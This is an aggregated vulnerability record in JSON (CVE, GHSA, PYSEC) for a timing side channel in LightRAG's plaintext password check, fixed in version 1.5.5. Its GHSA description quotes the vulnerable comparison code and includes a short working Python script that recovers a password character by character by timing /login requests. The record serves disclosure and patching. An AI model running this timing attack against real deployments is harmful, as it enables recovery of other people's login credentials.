{"id":"CVE-2026-85725","aliases":["CVE-2026-85725","GHSA-c759-cx9p-mrwq","PYSEC-2026-4061"],"related":[],"kind":"vulnerability","state":"published","title":"LightRAG: Plaintext Passwords Compared Without Constant-Time Function","summary":"LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, verify_password in lightrag/api/passwords.py compares plaintext AUTH_ACCOUNTS password values with Python's == operator. The comparison can return after the first mismatching byte, creating response-time differences based on password length and matching prefixes. A network attacker with sufficiently low-latency access can repeatedly query the /login endpoint and use the timing oracle to recover a plaintext-configured password character by character. Deployments using bcrypt-prefixed password values are not affected by this comparison path. This issue is fixed in version 1.5.5.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, verify_password in lightrag/api/passwords.py compares plaintext AUTH_ACCOUNTS password values with Python's == operator. The comparison can return after the first mismatching byte, creating response-time differences based on password length and matching prefixes. A network attacker with sufficiently low-latency access can repeatedly query the /login endpoint and use the timing oracle to recover a plaintext-configured password character by character. Deployments using bcrypt-prefixed password values are not affected by this comparison path. This issue is fixed in version 1.5.5.","source":"cvelist"},{"lang":"en","text":"### Summary\nWhen plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.\n\n### Details\n\n```python\n# lightrag/api/passwords.py:13-26\ndef verify_password(plain_password: str, stored_password: str) -> bool:\n    if stored_password.startswith(\"{bcrypt}\"):\n        ...\n        return bcrypt.checkpw(...)    # constant-time  OK\n\n    return stored_password == plain_password  # NOT constant-time  VULN\n    #   Python == short-circuits on first mismatched byte\n    #   Timing leaks: password length + individual characters\n```\n\n### PoC\n\n```python\n# Timing oracle: recover password char-by-char\nimport httpx, time, string\n\nTARGET = \"http://<TARGET>:9621/login\"\nUSER   = \"admin\"\n\ndef measure(pwd: str) -> float:\n    t = time.perf_counter()\n    httpx.post(TARGET, data={\"username\": USER, \"password\": pwd})\n    return time.perf_counter() - t\n\nknown = \"\"\nfor _ in range(32):\n    best = max(string.printable,\n               key=lambda c: sum(measure(known+c+\"A\"*20) for _ in range(10)))\n    known += best\n    print(f\"Recovered: {known}\")\n```\n\n### Impact\nObservable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.","format":"markdown","source":"ghsa"}],"published":"2026-09-22T16:16:36.326Z","modified":"2026-10-01T17:55:55.036Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","score":5.9,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","score":5.9,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","score":5.9,"rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","score":5.9,"rating":"MEDIUM"}],"cwes":["CWE-208"],"affected":[{"ranges":[{"version":"< 1.5.5","status":"affected"}],"vendor":"HKUDS","product":"LightRAG","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.5.5"}],"ecosystem":"PyPI","package":"lightrag-hku","purl":"pkg:pypi/lightrag-hku","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.5.5"}],"ecosystem":"PyPI","package":"lightrag-hku","purl":"pkg:pypi/lightrag-hku","source":"pysec"}],"references":[{"url":"https://github.com/HKUDS/LightRAG/security/advisories/GHSA-c759-cx9p-mrwq","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/HKUDS/LightRAG/pull/3423","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/HKUDS/LightRAG/commit/89849c3ed0e0380345a6b5bade027cfb9a5bf32c","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85725","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/HKUDS/LightRAG","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/lightrag-hku","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-c759-cx9p-mrwq","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-09-25T23:42:45.536Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-85725","url":"https://www.cve.org/CVERecord?id=CVE-2026-85725","licence":"CVE Terms of Use","modified":"2026-09-25T23:43:12.253Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-c759-cx9p-mrwq","url":"https://github.com/advisories/GHSA-c759-cx9p-mrwq","licence":"CC-BY-4.0","modified":"2026-10-01T17:55:55.036Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-85725","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85725","licence":"Public domain","modified":"2026-09-26T00:16:37.513Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-4061","url":"https://osv.dev/vulnerability/PYSEC-2026-4061","licence":"CC-BY-4.0","modified":"2026-10-01T17:45:03.126Z"}],"updatedAt":"2026-11-25T22:59:40.479Z","epss":{"score":0.00446,"percentile":0.40519,"date":"2026-12-01T12:00:22.000Z"}}